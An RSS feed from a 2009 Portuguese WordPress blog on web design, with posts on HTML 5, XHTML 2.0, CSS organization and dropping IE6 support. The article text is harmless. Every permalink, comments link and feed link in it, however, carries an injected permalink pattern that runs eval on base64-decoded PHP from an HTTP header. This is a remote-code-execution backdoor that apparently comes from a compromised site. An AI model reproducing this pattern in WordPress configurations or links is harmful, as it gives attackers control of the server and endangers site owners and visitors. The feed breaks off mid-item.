<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Not For Dummies &#187; Leonardo Bighi</title>
	<atom:link href="http://3folks.com/notfordummies/author/admin/feed/" rel="self" type="application/rss+xml" />
	<link>http://3folks.com/notfordummies</link>
	<description>Além do Hello World</description>
	<lastBuildDate>Fri, 03 Apr 2009 13:41:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Conheça o maravilhoso mundo do HTML 5</title>
		<link>http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 09:25:05 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[w3c]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=243</guid>
		<description><![CDATA[Pra fechar minha série de posts sobre os substitutos do HTML, vou falar agora do HTML 5, desenvolvido por um grupo liderado pela Apple, Opera e Mozilla. Senta que lá vem história texto.
Se você chegou agora, pode ser interessante ler meus textos anteriores sobre o assunto:

XHTML2, HTML5 e outras coisas futuristas
As Mudanças do XHTML 2.0

A [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Pra fechar minha série de posts sobre os substitutos do HTML, vou falar agora do HTML 5, desenvolvido por um grupo liderado pela Apple, Opera e Mozilla. Senta que lá vem <span style="text-decoration: line-through;">história</span> texto.</p>
<p>Se você chegou agora, pode ser interessante ler meus textos anteriores sobre o assunto:</p>
<ul>
<li><a title="Resumo e comparação das duas linguagens" href="http://3folks.com/notfordummies/web-design/xhtml2-html5-e-outras-coisas-futuristicas">XHTML2, HTML5 e outras coisas futuristas</a></li>
<li><a title="Saiba mais sobre o XHTML 2.0" href="http://3folks.com/notfordummies/web-design/as-mudancas-do-xhtml-20">As Mudanças do XHTML 2.0</a></li>
</ul>
<p>A primeira coisa que preciso dizer é em que o HTML 5 é diferente do XHTML 2. Sua maior preocupação não é separar definitivamente o conteúdo da apresentação. O HTML 5 é feito para ser uma linguagem de desenvolvimento de aplicações online. Nada de se preocupar com XML, nada de evitar usar um elemento só porque ele também interfere na aparência do conteúdo.</p>
<h3><strong>Pro inferno com as frescuras, eu quero é sites bons.</strong></h3>
<p>Esta nova versão do HTML começou a ser desenvolvida em um grupo fora do grande W3C. Fizeram isso justamente porque o W3C estava <strong>demorando demais</strong> pra criar uma nova versão (0 xhtml 1.0 foi publicado em 2000) e eles estavam trabalhando em algo que não resolvia os problemas dos sites ricos que temos hoje em dia.</p>
<p>O HTML 5 é feito para facilitar o desenvolvimento de <strong>aplicações web</strong> (e não apenas sites simples) e padronizar as coisas em todos os browsers.</p>
<p>Vamos ver todas as coisas legais que o HTML 5 traz pra nós.</p>
<h3>Elementos estruturais</h3>
<p>Aquele monte de &lt;div&gt; que a gente usa pra montar a estrutura do site vai ter um bom substituto agora. Pra facilitar uma padronização e permitir que os elementos tenham significado, criaram vários elementos estruturais que vão funcionar como o &lt;div&gt;, mas cada um com seu próposito.</p>
<p>Por exemplo, teremos o &lt;header&gt; para criar o cabeçalho do site (geralmente onde fica o logotipo, etc). Temos o &lt;nav&gt; para definir o menu de navegação, &lt;article&gt; para colocar o conteúdo principal do site, &lt;aside&gt; pra criar uma seção lateral, e &lt;footer&gt; pro rodapé.</p>
<div id="attachment_244" class="wp-caption aligncenter" style="width: 508px"><a href="http://3folks.com/notfordummies/wp-content/uploads/2009/03/estrutura_html5.jpg"><img class="size-full wp-image-244" title="HTML 5" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/estrutura_html5.jpg" alt="Estrutura de um site padrão" width="498" height="360" /></a><p class="wp-caption-text">Estrutura de um site padrão</p></div>
<h3><span id="more-243"></span></h3>
<h3>Novas tags multimídia!</h3>
<p>Em vez de fazer como no XHTML 2, onde tem uma única tag bizarra para exibir conteúdo multimídia, o HTML 5 preza por uma solução mais óbvia e mais fácil.</p>
<p>Para tocar som, você tem a tag &lt;audio&gt;. E o negócio ainda é tão bem feito que dentro da própria tag você passa uns parâmetros para definir se começa a tocar sozinho, e até se o browser vai exibir controles (play, pause, etc). Se o browser não suportar html 5, aparece o texto interno.</p>
<pre>&lt;audio src="musica.ogg" autoplay control&gt;
    Você não tem HTML 5, bobão, então faça &lt;a href="musica.ogg"&gt;download&lt;/a&gt; da música.
&lt;/audio&gt;</pre>
<p>E vídeo, então, que maravilha! Se antes você tinha que usar a tag &lt;object&gt; cheia de parâmetros, agora basta usar a tag &lt;video&gt;. Você pode definir largura e altura, e também definir se quer autoplay (iniciar automaticamente) ou se quer exibir os controles. Você pode até mesmo definir pro vídeo ficar passando em loop, se quiser fazer lavagem cerebral em alguém.</p>
<pre>&lt;video src="lavagemcerebral.ogg" autoplay loop&gt;
    Quem não tem HTML 5, saia pela segunda porta à direita.
&lt;/video&gt;</pre>
<p><strong>E quem cuida de exibir o vídeo? O browser!</strong> Por padrão, o codec de vídeo vem dentro do próprio browser e todos os usuários poderão assistir, independente de que browser ou sistema operacional eles usam. <strong>E sem ter que baixar plugin!</strong></p>
<h3>Você pode brincar de desenhar</h3>
<p>O novo elemento &lt;canvas&gt; permite que você escreva código que desenha na tela em tempo real. Isso é muito interessante pra criar gráficos, por exemplo. Imagina o Google Analytics sem precisar de flash.</p>
<p>E não só desenhar, mas redesenhar, modificar desenhos, mover os desenhos. Alguém poderia escrever um jogo com elementos se mexendo, usando o canvas. Sem precisar de flash.</p>
<h3>E tem a correção de erros!</h3>
<p>Além de tudo isso, uma parte muito importante da especificação do HTML 5 é que ele diz aos navegadores como eles vão tratar um código que esteja errado.</p>
<p>A grande maioria dos sites na internet tem um código muito mal feito. Você só é capaz de ver &#8220;corretamente&#8221; o conteúdo desses sites porque todos os browsers possuem um poderoso motor de correção de código. Esse motor vê aquele código capenga, que não valida nem com HTML 4.01, e tenta &#8220;<strong>deduzir</strong>&#8221; o que o desenvolvedor quis fazer. O maior problema é que cada browser deduz as coisas de um jeito diferente.</p>
<p>O HTML 5, além de trazer todas essas maravilhas, traz uma série bem específica de regras para os navegadores deduzirem aquele código bizarro e malformado. Assim há uma garantia de que até esse código ruim vai ser exibido da mesma forma em todos os navegadores.</p>
<h3>Mas esperem sentados&#8230;</h3>
<p>Se você também ficou animado com as possibilidades (e olha que nem falei todas), aí vem o banho de água fria: vai demorar! A versão final do <strong>HTML 5 </strong>não fica pronta esse ano. E nem no ano que vem.</p>
<p>E mesmo depois de sair a versão final, temos um <strong>enorme problema</strong> chamado Internet Explorer. Não poderemos usar os novos recursos em sites sérios, até que o Internet Explorer dê um suporte decente à linguagem.</p>
<p>Sendo <strong>otimista</strong>, eu diria que lá pra 2025 vamos poder usar a linguagem.</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>As mudanças do XHTML 2.0</title>
		<link>http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 16:53:06 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[w3c]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=233</guid>
		<description><![CDATA[Outro dia eu fiz um resumo das duas tecnologias que estão vindo pra substituir o atual XHTML: XHTML 2.0 e HTML 5. Agora é hora de olhar mais a fundo pra proposta do W3C. Será que ele é tudo que precisamos? Será que é a resposta pros nossos problemas?
Desde a versão 1.0 do XHTML o [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Outro dia eu fiz um resumo das duas tecnologias que estão vindo pra substituir o atual XHTML: <a title="XHTML 2.0 e HTML 5" href="http://3folks.com/notfordummies/web-design/xhtml2-html5-e-outras-coisas-futuristicas"><strong>XHTML 2.0 e HTML 5</strong></a>. Agora é hora de olhar mais a fundo pra proposta do <a title="World Wide Web Consortium" href="http://www.w3.org/">W3C</a>. Será que ele é tudo que precisamos? Será que é a resposta pros nossos problemas?</p>
<p>Desde a versão 1.0 do <strong>XHTML</strong> o consórcio W3C tem empurrado cada vez mais o HTML pro lado do XML. Mas essa versão foi feita pra tentar manter uma grande semelhança e <strong>compatibilidade</strong> com o HTML 4.01, e por isso acabaram mantendo muitos elementos de apresentação no XHTML. Agora, querem dar um grande passo. Querem remover tudo, querem fazer o XHTML que o W3C sempre sonhou. E com isso podem dizer <strong>adeus à retrocompatibilidade</strong>.</p>
<h3>Quanto mais as coisas mudam, mais elas mudam</h3>
<p>A idéia do W3C para o XHTML 2.0 é <strong>remover TODOS os elementos de apresentação</strong>. Ou seja, qualquer coisa no código XHTML que indique como o elemento vai aparecer na tela vai ser removido. Isso é trabalho do CSS. Nessa nova versão morrem as tags &lt;img&gt;, &lt;a&gt;, &lt;br&gt; e algumas outras.</p>
<p>Vai ter uma série de mudanças tão grandes que <strong>não existe compatibilidade</strong> com versões anteriores. Os sites precisarão ser refeitos para validar com as especificações do XHTML 2.0. O problema é que a maioria dos profissionais são ruins. Ainda hoje a maioria dos sites não cumpre nem as especificações do HTML 4.01, imagina se vão mudar pra se adequar a essa nova &#8220;linguagem estranha&#8221;.</p>
<p>Eu conheço ainda pessoas que nem sabem direito o que é <strong>CSS </strong>ou <strong>XHTML</strong>. Profissionais que montam seus sites usando a tag &lt;font&gt; pra formatar o texto, e outras coisas igualmente bizarras. Esse tipo de pessoa nunca vai querer reaprender tudo pra adotar o XHTML 2.0.</p>
<p><a href="http://3folks.com/notfordummies/wp-content/uploads/2009/03/xhtml.jpg"><img class="aligncenter size-full wp-image-235" title="XHTML" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/xhtml.jpg" alt="XHTML" width="240" height="227" /></a></p>
<p>Vamos dar uma olhada em algumas das principais mudanças:</p>
<p><strong>- Mataram o &lt;a&gt;. Agora tudo é link.</strong></p>
<p>Todos os elementos do XHTML possuem alguns parâmetros padrão, como &#8220;id&#8221;. E agora o parâmetro &#8220;href&#8221; se junta a essa lista. Qualquer elemento poderá receber o parâmetro <em>href </em>e se tornar um link. Você vai poder fazer coisas como &lt;p href=&#8221;http://disney.com&#8221;&gt;&#8230;um monte de texto&#8230;&lt;/p&gt; e terá um parágrafo inteiro funcionando como link.</p>
<p><strong>- Adeus &lt;br&gt;. Olá &lt;line&gt;</strong></p>
<p>Eles não querem que o XHTML tenha nada que force um jeito específico do conteúdo aparecer na página, então uma das primeiras tags a morrerem foi a tag de quebra de linha. Não tinha jeito de impedir, ela só servia pra uma coisa e pronto.</p>
<p>No lugar dela, entre a tag <strong>&lt;line&gt;&lt;/line&gt;</strong>. O padrão é que sempre que você fechar a tag o browser vai quebrar a linha, mas agora você pode evitar esse comportamento se quiser.</p>
<p><span id="more-233"></span></p>
<p><strong>- Um &lt;object&gt; para a todos dominar.</strong></p>
<p>Mais duas tags que morrem: <strong>&lt;img&gt;</strong> e <strong>&lt;applet&gt;</strong>. No lugar delas vem a tag <strong>&lt;object&gt;</strong> que é uma tag extremamente complexa, daquelas meio esotéricas, pra representar diversos tipos de conteúdo de mídia. Se você quiser inserir uma simples imagem, tem que botar esse código todo:</p>
<pre class="xml">&lt;object data="/imagens/sandy-nua.jpg" type="image/gif"&gt;
  Aqui é um texto equivalente ao alt da imagem
&lt;/object&gt;</pre>
<p>A outra opção para exibir uma imagem é usar outro dos novos parâmetros padrão, o <em>src</em>. Qualquer elemento do XHTML agora <strong>pode receber o parâmetro <em>src</em></strong>, que faz aparecer uma imagem no lugar do elemento. Não vejo grandes vantagens deste método em relação ao atributo imagem normal, já que isso não remove a necessidade de ter a imagem dentro do XHTML.</p>
<p><strong>E por aí a vida segue</strong></p>
<p>O <strong>XHTML 2.0</strong> também traz várias outras mudanças, como<strong> formulários mais parrudos</strong> e <strong>novos tipos de listas</strong>. Mas o que me parece é que essa atualização existe apenas para agradar o próprio W3C, e não para realmente resolver os problemas dos desenvolvedores. É uma atualização que quebra toda a compatibilidade com linguagens anteriores e traz mudanças, mas parece que é só pelo prazer de realmente portar tudo pro mais perfeito XML e separar totalmente estrutura e aparência.</p>
<p>Mas cadê as mudanças que realmente torne nossos sites melhores? Isso vai resolver os problemas que estamos tendo hoje? Como isso vai me facilitar a criar bons sites dinâmicos?</p>
<p>Eu não sou o único preocupado com isso, na verdade. Foi justamente pensando em resolver os problemas atuais que as grandes desenvolvedoras se uniram para criar o HTML 5. Mas isso é assunto para outro post.</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>XHTML2, HTML5 e outras coisas futurísticas</title>
		<link>http://3folks.com/notfordummies/2009/03/27/xhtml2-html5-e-outras-coisas-futuristicas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/27/xhtml2-html5-e-outras-coisas-futuristicas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 11:00:53 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=145</guid>
		<description><![CDATA[Nós, gênios modestos que desenvolvem para a web, trabalhamos usando tecnologias que são bem antigas, se levarmos em conta a velocidade com que as coisas mudam. Em 1999 foi definido o XHTML 4.01, e no ano 2000 saiu o XHTML 1.0, que é a tecnologia mais atual para desenvolver os sites. O grande problema é [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Nós, gênios modestos que desenvolvem para a web, trabalhamos usando tecnologias que são bem antigas, se levarmos em conta a velocidade com que as coisas mudam. Em 1999 foi definido o <strong>XHTML 4.01</strong>, e no ano 2000 saiu o <strong>XHTML 1.0</strong>, que é a tecnologia mais atual para desenvolver os sites. O grande problema é que o foco dos sites (e o modo como são usados) mudou bastante nestes últimos 9 anos, e precisamos de algo diferente. Precisamos de algo que resolva nossos problemas. Precisamos do Batman!</p>
<p>(Acabei de receber um fax me proibindo de fazer piadas com super-heróis num site sobre programação. Eu garanto que não há nenhuma referência a um personagem famoso pelos próximos três parágrafos)</p>
<p>Duas grandes tecnologias estão sendo desenvolvidas e deverão estar disponíveis antes de 2099: XHTML 2.0, e HTML 5. <strong>A principal diferença</strong> entre elas é que o HTML 5 é uma evolução de tudo que temos hoje, e o XHTML 2.0 é tão diferente que é quase uma linguagem nova.</p>
<p><strong>Explicando de uma forma clara</strong>, é como se o HTML 5 fosse o seu carro atual, mas com neón azul, turbina e aerofólios, e o XHTML 2.0 seria como vender o seu carro, tirar o seu dinheiro da poupança e comprar um novo importado, com marcha no volante e formato esquisito.</p>
<div id="attachment_159" class="wp-caption aligncenter" style="width: 232px"><a href="http://3folks.com/notfordummies/wp-content/uploads/2009/03/html5.jpg"><img class="size-full wp-image-159" title="HTML 5" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/html5.jpg" alt="HTML5 está pronto pra briga!" width="222" height="215" /></a><p class="wp-caption-text">HTML5 está pronto pra briga!</p></div>
<p>O que me parece é que alguém perdeu completamente a noção da realidade. Mesmo hoje, <strong>a maioria dos sites não consegue validar</strong> nem contra as especificações do HTML 4.01. Uma boa parte dos programadores é tão ignorante que nem faz idéia do que é XHTML e com qual garfo se come isso. É muito otimismo acreditar que uma revolução completa na linguagem conseguiria uma grande adoção. Não quero ser muito pessimista, mas não acredito no futuro do XHTML, que é desenvolvido pelo consórcio W3C (World Wide Web Consortium).</p>
<p>Já o HTML 5 está sendo sendo desenvolvido pelo grupo <strong>WHATWG </strong>(na minha cabeça, isso é sigla para Why Have A Tomato With Guitars, &#8220;por que ter um tomate com guitarras&#8221;), formado pela Apple, Mozilla, e Opera. Sim, as grandonas do desenvolvimento de navegadores bons. A proposta do HTML 5 é pegar tudo de bom que temos até agora, acrescentar coisas ainda melhores, e corrigir as falhas para que todos os navegadores renderizem os sites da mesma forma. Incluindo os sites que não validam nem com o HTML 4.01. Isso sim parece bom. <strong>O que o Batman faria?</strong></p>
<p>Vou te dizer o que o Batman faria. O Batman sabe que não é muito bom ter duas linguagens concorrendo pra substituir as tecnologias atuais. Ele vai esperar e observar até que, num futuro não tão distante (2030 é perto, não é?) as duas linguagens vão dividir os programadores por um tempo, mas depois uma delas vai ser esquecida e morrer. Porque o Batman é esperto. Ele sabe que <strong>HTML é como Highlander: só pode haver um</strong>. E apenas um dos grupos tem guitarras.</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/27/xhtml2-html5-e-outras-coisas-futuristicas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Organizando seu código CSS</title>
		<link>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 12:02:10 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[organização]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=37</guid>
		<description><![CDATA[Uma coisa que eu costumava fazer bastante há alguns anos atrás era subestimar o meu código CSS. Sempre começava a escrever achando que ia ser uma coisa pequena e simples, e aí quando me dava conta eu tinha um código de centenas de linhas, confuso, e impossível de achar alguma coisa sem Ctrl + F.
Então [...]


Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/04/03/cada-um-no-seu-quadrado/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Cada um no seu quadrado'>Cada um no seu quadrado</a></li><li><a href='http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Use a Cabeça! (Head First) HTML com CSS &#038; XHTML'>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</a></li></ol>]]></description>
			<content:encoded><![CDATA[<p>Uma coisa que eu costumava fazer bastante há alguns anos atrás era subestimar o meu <strong>código CSS</strong>. Sempre começava a escrever achando que ia ser uma coisa pequena e simples, e aí quando me dava conta eu tinha um código de centenas de linhas, confuso, e impossível de achar alguma coisa sem Ctrl + F.</p>
<p>Então eu desenvolvi <strong>5 regrinhas</strong> que ajudaram meu <strong>CSS </strong>a ficar mais organizado, e mais fácil de mexer.</p>
<h3>1- Usar um CSS Reset</h3>
<p><strong>CSS Reset</strong> é como tomar uma droga bem forte. Quem nunca usou acha que não é algo útil, ou até ruim. Mas depois que você experimenta não quer mais voltar atrás e ainda tenta convencer os outros a usarem também.</p>
<p>Apesar dos navegadores terem um ótimo suporte ao <strong>CSS</strong>, muitos deles tem padrões diferentes. Se você não definiu uma coisa, ela é exibida com o padrão do navegador, e isso pode fazer o seu site ficar com caras diferentes de acordo com o navegador do usuário.</p>
<p>O <strong>CSS Reset</strong> pega uma grande parte dos elementos visuais e padroniza eles, geralmente zerando ou definindo um novo padrão. Ele tira as bordas, as margens, os paddings, padroniza o tamanho da fonte, etc. A partir daí, você sabe que as coisas vão ficar mais certinhas em todos os navegadores e não vai ter nenhuma surpresa desagradável.</p>
<p>Recomendo <a title="Eric Meyer Reset" href="http://meyerweb.com/eric/tools/css/reset/index.html"><strong>Eric Meyer Reset</strong></a>, ou o fantástico <a title="YUI Reset" href="http://developer.yahoo.com/yui/reset/"><strong>YUI Reset</strong></a>.</p>
<p><span id="more-37"></span></p>
<h3>2- Colocar em ordem alfabética</h3>
<p>Sabe quando você tem aquele elemento no <strong>CSS </strong>que tem uns 12 parâmetros ou mais? Aí você precisa editar a margem, passa o olho rápido pela lista de parâmetros e não encontra. Cadê a margem que estava aqui? Tá ali bem na sua frente, mas tem que olhar umas 3 vezes pra achar. É um saco.</p>
<p>Eu passei então a organizar meus parâmetros do <strong>CSS </strong>em <strong>ordem alfabética</strong>, e fez uma grande diferença. Eu sempre sei que a <em>border</em> vai estar perto do começo, e que a <em>margin</em> vai estar ali perto do meio, perto do <em>padding</em>.</p>
<h3>3- Separar os trechos de códigos em categorias</h3>
<p>Quando o <strong>CSS </strong>fica realmente grande, o jeito mais fácil de organizar o código é usando comentários pra criar uma separação visual.</p>
<pre name="code" class="css">/* ------------------------------------------- */
/* ---------- MENU LATERAL ------------------- */
/* ------------------------------------------- */
elemento {
    color: #000;
    background: #FFF;
    outros códigos...
}
elemento a {...}
elemento img {...}

/* ------------------------------------------- */
/* ---------- RODAPÉ ------------------------- */
/* ------------------------------------------- */

div#footer {...}
div img {...}</pre>
<p>Fica ainda mais organizado se as categorias estiverem numa ordem lógica, indo dos elementos mais genéricos pros mais específicos.</p>
<h3>4- Colocar seu esquema de cores como comentário  no topo</h3>
<p>Geralmente no site você tem umas poucas cores selecionadas pra usar. O que acontecia muito comigo era toda hora ter que parar pra procurar qual era mesmo o código daquele azul do título, ou o código do vermelho da borda do rodapé.</p>
<p>Uma <strong>solução simples</strong> passou a me poupar muito tempo.</p>
<p>Eu passei a colocar um comentário no topo do <strong>CSS</strong>, indicando os códigos das cores do meu site.</p>
<pre name="code" class="css">/* ---------- CORES ------------------------- */
/*
    Azul Claro: #A8EFEE;
    Marrom Escuro: #473B38;
    Rosa Clodovil: #FF4095;
    Amarelo Urina: #F2D843;
*/</pre>
<h3>5 &#8211; Não usar o parâmetro <em>important!</em></h3>
<p>O <strong>CSS </strong>tem o recurso <strong><em>important!</em></strong> que serve para definir uma regra como prioridade máxima, insubstituível. E isso atrapalha demais. Se você definiu, por exemplo, a cor da fonte como <em>!important</em>, não tem nada que você possa fazer no <strong>CSS</strong> pra definir outra cor de fonte. Na verdade, <strong>nem por javascript</strong> você conseguirá mudar a cor da fonte. O <em>important!</em> sempre tem prioridade máxima.</p>
<p>Acontece que no fim das contas isso sempre acaba atrapalhando no futuro. Mesmo que a versão inicial do layout saia legal, mais cedo ou mais tarde você vai precisar editar o seu site e aquele <em>important!</em> perdido lá vai te dar dor de cabeça.</p>
<p>Se você usou esse recurso no seu <strong>CSS</strong>, é porque <strong>algo não está certo</strong>. Dá pra organizar todo o seu site sem ter que usar isso, e é bom se planejar para isso desde o começo.</p>
<p><strong>Usar !important no CSS é como casar com mulher promíscua</strong>. Você pode não ter tido nenhum problema até agora, mas é só questão de tempo.</p>


<p>Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/04/03/cada-um-no-seu-quadrado/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Cada um no seu quadrado'>Cada um no seu quadrado</a></li><li><a href='http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Use a Cabeça! (Head First) HTML com CSS &#038; XHTML'>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pro inferno com os navegadores ruins!</title>
		<link>http://3folks.com/notfordummies/2009/03/21/pro-inferno-com-os-navegadores-ruins/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/21/pro-inferno-com-os-navegadores-ruins/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 21 Mar 2009 12:00:03 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Off-Topic]]></category>
		<category><![CDATA[internet explorer]]></category>
		<category><![CDATA[navegador]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=22</guid>
		<description><![CDATA[Há uns 8 anos atrás, Jeffrey Zeldman escreveu o artigo To Hell With Bad Browsers, onde ele implorava que os desenvolvedores passassem a ignorar o Netscape 4 porque o motor de renderização dele era uma grande porcaria. E parece que agora, novamente, o processo se repete. Vários sites começaram um protesto para fazer todo mundo [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Há uns 8 anos atrás, Jeffrey Zeldman escreveu o artigo <a title="To Hell With Bad Browsers" href="http://www.alistapart.com/articles/tohell"><strong>To Hell With Bad Browsers</strong></a>, onde ele implorava que os desenvolvedores <strong>passassem a ignorar</strong> o Netscape 4 porque o motor de renderização dele era uma grande porcaria. E parece que agora, novamente, o processo se repete. Vários sites começaram um <strong>protesto</strong> para fazer todo mundo <strong>parar de suportar o IE6</strong> em seus sites.</p>
<p>Desenvolvedores do mundo todo estão aderindo a essa movimentação e parando de suportar o <strong>IE6</strong>. No dia 11 deste mês, <a title="Noruega alerta contra IE6" href="http://www.cjohansen.no/en/browsers/norway_tells_ie6_users_to_shape_up">vários sites da Noruega</a> passaram a colocar também um alerta aos usuários deste navegador para que atualizem a versão.</p>
<p>Pra ser honesto, se eu fosse listar os <strong>3 navegadores que eu mais odeio</strong>, eu diria Internet Explorer 6, Internet Explorer 7, e Internet Explorer 8. Nessa ordem. Só de você ter o  Internet Explorer como navegador padrão na sua casa, o meu respeito por você cai aproximadamente 350%.</p>
<div id="attachment_25" class="wp-caption aligncenter" style="width: 172px"><img class="size-full wp-image-25" title="Não ao IE6" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/no_ie6.gif" alt="Pro inferno com navegadores ruins!" width="162" height="118" /><p class="wp-caption-text">Pro inferno com navegadores ruins!</p></div>
<p>Um método interessante pra incentivar as pessoas a mudarem é não só parar de suportar, mas também <strong>alertar os usuários</strong> e ainda disponibilizar uma página explicando o problema e como se faz o upgrade pra uma versão mais nova. Quem sabe a pessoa não acaba até abandonando o <strong>Internet Explorer</strong> de vez? Ou será que estou sonhando alto demais?</p>
<p>O site <a title="Quirksmode Blog" href="http://quirksmode.org/blog">quirksmode.org</a> criou a página <a title="Upgrade your browser" href="http://www.quirksmode.org/upgrade.html"><em>Upgrade your browser!</em></a> onde explica para o usuário como o <strong>IE6</strong> é ruim e porque ele precisa fazer o upgrade. Podemos usá-la como inspiração para criar páginas semelhantes em português.</p>
<p>Então vamos todos forçar esses filhos de uma taturana a abandonar o <strong>Internet Explorer 6</strong> de uma vez por todas! Coloque um aviso no seu site que só será visto por quem usa essa versão.</p>
<p>Veja o código condicional abaixo:</p>
<pre style="margin-right: -454px;">&lt;!--[if lte IE 6]&gt;
  &lt;p class="ie6"&gt;&lt;strong&gt;IE6?&lt;/strong&gt; Sério? Não acha que já passou da hora de um &lt;a href="/upgrade.html"&gt;upgrade para uma versão mais nova&lt;/a&gt;?&lt;/p&gt;
&lt;![endif]--&gt;</pre>
<p>Deixe de suportar o <strong>IE6</strong>. Coloque um código condicional no seu site. Vamos tirar essa âncora dos nossos projetos e dar o grito de liberdade: <strong>Pro inferno com navegadores ruins!</strong></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/21/pro-inferno-com-os-navegadores-ruins/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A maldição do outline no firefox</title>
		<link>http://3folks.com/notfordummies/2009/03/19/a-maldicao-do-outline-no-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
